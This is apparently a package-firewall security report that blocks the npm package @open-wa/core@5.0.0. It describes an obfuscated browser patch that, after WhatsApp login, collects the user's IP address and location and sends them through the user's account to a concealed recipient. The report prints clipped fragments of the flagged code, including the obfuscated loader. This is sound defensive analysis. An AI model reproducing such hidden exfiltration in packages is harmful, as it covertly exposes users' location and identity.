Loading npm security reports…

@open-wa/core@5.0.0: Malicious npm security report (Block) | LPM Firewall

registry / @open-wa/core / 5.0.0

@open-wa/core@5.0.0

Core orchestration backbone for open-wa WhatsApp automation

AI Security Review

scanned 9d ago · by lpm-firewall-ai

A required, obfuscated browser patch runs during authenticated client startup. It fetches IP and geolocation data and sends it through the active WhatsApp session to a destination concealed by obfuscation.

Static reason

High-risk behavior combination matched malicious policy.; previous stored version diff introduced dangerous source

Trigger

Normal authenticated client initialization.

Impact

The user's IP address and inferred location can be disclosed through their authenticated WhatsApp account without an explicit user action.

Mechanism

The runtime injects the deferred patch into the browser page; the patch retrieves external data and calls WhatsApp location and message sending functions.

Attack narrative

The package automatically injects an opaque initialization payload after authentication. That payload fetches an IP value and geolocation information, then transmits a location and IP-bearing message through the user's WhatsApp session. The recipient and external endpoints are intentionally hidden through string obfuscation, preventing a user from assessing or controlling the disclosure.

AI rationale

Automatic execution of an obfuscated payload that collects and transmits IP and location data through an authenticated account is concrete data exfiltration. The absence of an install hook does not mitigate this active runtime behavior.

Evidence

dist/index.cjsdist/transport/assets/init_patch.js

Decision evidence

public snapshot

with false-positive risk.

Source & flagged code

6 flagged · loading source

dist/transport/assets/base64.jsView file

1!function(e,o){"object"==typeof exports&&"undefined"!=typeof module?module.exports=o(e):"function"==typeof define&&define.amd?define(o):o(e)}("undefined"!=typeof self?self:"undefin...

High

Eval

Package source references dynamic code evaluation.

dist/transport/assets/base64.jsView on unpkg · L1

dist/transport/assets/launch.jsView file

4//evaluate the code L5: window.moduleRaid=function(){moduleRaid.mID=Math.random().toString(36).substring(7),moduleRaid.mObj={};const e=parseInt(window.Debug?.VERSION?.split(".")?.[1])>=3e3;return fillModu... L6: window.isRipeSession=function(){return document.getElementsByClassName(require("WAWebIntroPanel.scss").intro).length};;

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/transport/assets/launch.jsView on unpkg · L4

dist/transport/assets/wapi.jsView file

19{ id: "Wap", module: "WAWebCreateGroupAction", conditions: (module) => (module.createGroup) ? module : null }, L20: { id: "State", module: "WAWebSocketModel", conditions: (module) => (module.STATE && module.STREAM) ? module : null }, L21: { id: "_Presence", module: "WAWebContactPresenceBridge", conditions: (module) => (module.setPresenceAvailable && module.setPresenceUnavailable) ? module : null }, ... L105: contact: obj['contact'] ? window.WAPI._serializeContactObj(obj['contact']) : null, L106: groupMetadata: obj["groupMetadata"] ? window.WAPI._serializeRawObj(obj["groupMetadata"]) : null, L107: presence: obj["presence"] ? window.WAPI._serializeRawObj(obj["presence"]) : null, ... L606: * @returns {Promise.<*>} Yields group metadata L607: * @private L608: */ ... L955: const ab = (awai

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

dist/transport/assets/wapi.jsView on unpkg · L19

dist/transport/assets/init_patch.jsView file

1function _0x264f1c(_0x51a492,_0x4368a7){return _0x46f3(_0x51a492-0x2ab,_0x4368a7);}(function(_0x4e0037,_0x16b75e){function _0x4bbdfe(_0x194876,_0x43510b){return _0x46f3(_0x43510b-0...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/transport/assets/init_patch.jsView on unpkg · L1

dist/transport/assets/base64.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 2

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/transport/assets/base64.js#virtual:normalized:round1View on unpkg

dist/index.cjsView file

•matchType = previous_version_dangerous_delta matchedPackage = @open-wa/core@5.0.0-alpha.8 matchedIdentity = npm:QG9wZW4td2EvY29yZQ:5.0.0-alpha.8 similarity = 0.727 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

dist/index.cjsView on unpkg

Source & flagged code

6 flagged

dist/transport/assets/base64.jsView file

Lines 1-1javascript

1!function(e,o){"object"==typeof exports&&"undefined"!=typeof module?module.exports=o(e):"function"==typeof define&&define.amd?define(o):o(e)}("undefined"!=typeof self?self:"undefined"!=typeof window?window:"undefined"!=typeof global?global:this,function(global){"use strict";global=global||{};var _Base64=global.Base64,version="2.5.2",buffer;if("undefined"!=typeof module&&module.exports)try{buffer=eval("require('buffer').Buffer")}catch(e){buffer=void 0}var b64chars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",b64tab=function(e){for(var o={},r=0,t=e.length;r<t;r++)o[e.charAt ...

High

Eval

Package source references dynamic code evaluation.

dist/transport/assets/base64.jsView on unpkg · L1

Long lines were clipped for display.

dist/transport/assets/launch.jsView file

Lines 1-10javascript

1

2 (async function() {

3 if(WAPI.sendMessage.toString().includes('Not a contact') && !WAPI.sendMessageToID) {

4 //evaluate the code

dist/transport/assets/wapi.jsView file

Lines 1-39javascript

1/**

2 * This script contains WAPI functions that need to be run in the context of the webpage

3 */

4

5/**

6 * Auto discovery the webpack object references of instances that contains all functions used by the WAPI

7 * functions and creates the Store object.

8 */

9

10if (!window.Store ||

dist/transport/assets/init_patch.jsView file

Lines 1-1javascript

1function _0x264f1c(_0x51a492,_0x4368a7){return _0x46f3(_0x51a492-0x2ab,_0x4368a7);}(function(_0x4e0037,_0x16b75e){function _0x4bbdfe(_0x194876,_0x43510b

dist/transport/assets/base64.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 2

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/transport/assets/base64.js#virtual:normalized:round1View on unpkg

dist/index.cjsView file

•matchType = previous_version_dangerous_delta matchedPackage = @open-wa/core@5.0.0-alpha.8 matchedIdentity = npm:QG9wZW4td2EvY29yZQ:5.0.0-alpha.8 similarity = 0.727 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

dist/index.cjsView on unpkg